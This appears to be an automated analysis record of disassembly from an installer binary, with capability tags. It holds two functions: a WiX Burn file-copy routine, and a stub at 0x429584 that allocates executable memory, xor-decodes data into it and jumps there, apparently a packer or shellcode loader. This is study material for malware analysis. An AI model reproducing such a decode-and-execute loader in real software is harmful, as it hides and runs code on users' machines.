Function at 0x429584
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x429593
pop dword [ebp - 0x24]
mov eax, 0xe4a88e60
add eax, 0x1b9a0733
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x51eb0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xfdae0dd1
add ecx, 0x252410a
xor edx, edx
add edx, eax
mov ebx, 0x4774b56d
sub ebx, 0x472c276d
add ebx, dword [ebp - 0x24]
mov edi, 0xffc01cc3
sub edi, 0xf6943516
add dword [ebp - 0x1c], 0xf13a0ecc
mov esi, dword [ebx]
xor dword [ebp - 0x18], eax
add esi, edi
add dword [ebp - 0x18], 0x55303afd
mov dword [edx], esi
add edx, 4
add ebx, 0x9c47f592
add ebx, 0x63b80a72
loop 0x4295ef
add eax, 0x61161bb7
add eax, 0x9eeb1288
xor ebx, ebx
add ebx, eax
add eax, 0xa611a7dc
sub eax, 0xa611a7d7
mov ecx, 0x4bf4e906
sub ecx, 0x4bb4e906
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x429ac7
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov eax, dword [ebx + 4]
mov edi, 0x44b524
mov dword [ebp - 4], esi
test eax, eax
je 0x429ae6
mov edx, dword [eax]
jmp 0x429af3
mov ecx, dword [ebx + 8]
test ecx, ecx
je 0x429af1
mov edx, dword [ecx]
jmp 0x429af3
mov edx, edi
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x429afc
mov edi, dword [ecx]
test eax, eax
je 0x429b0e
xor eax, eax
test ecx, ecx
setne al
add eax, 0x20000150
jmp 0x429b1d
mov eax, dword [ebx + 8]
neg eax
sbb eax, eax
and eax, 3
add eax, 0x2000014f
push dword [ebp + 0xc]
push str.copy
push edi
push edx
push eax
push 2
call main
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 4]
add esp, 0x18
push eax
push edi
call main
test eax, eax
je 0x429b9b
mov eax, dword [ebp - 4]
test al, 1
je 0x429b9b
and eax, 0xfffffffe
push eax
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
jne 0x429b9b
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x429b73
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x429b7a
mov esi, 0x80004005
push esi
push 0x538
push str.c:_agent_work138_s_src_burnengine_apply.cpp
call fcn.004038f5
push edi
push str.Failed_to_clear_readonly_bit_on_payload_destination_path:__ls
push esi
call main
add esp, 0xc
jmp 0x429c19
push esi
lea eax, [ebx + 0x20]
push eax
push ebx
push 0x4299a0
push edi
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_CopyFileExW]
test eax, eax
jne 0x429c19
cmp dword [ebx + 0x20], esi
je 0x429bd9
mov esi, 0x80070642
push esi
push 0x542
push str.c:_agent_work138_s_src_burnengine_apply.cpp
call fcn.004038f5
push edi
push dword [ebp + 0xc]
push str.BA_aborted_copy_of_payload_from:__ls_to:__ls.
jmp 0x429c10
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x429bf0
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x429bf7
mov esi, 0x80004005
push esi
push 0x546
push str.c:_agent_work138_s_src_burnengine_apply.cpp
call fcn.004038f5
push edi
push dword [ebp + 0xc]
push str.Failed_attempt_to_copy_payload_from:__ls_to:__ls.
push esi
call main
add esp, 0x10
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc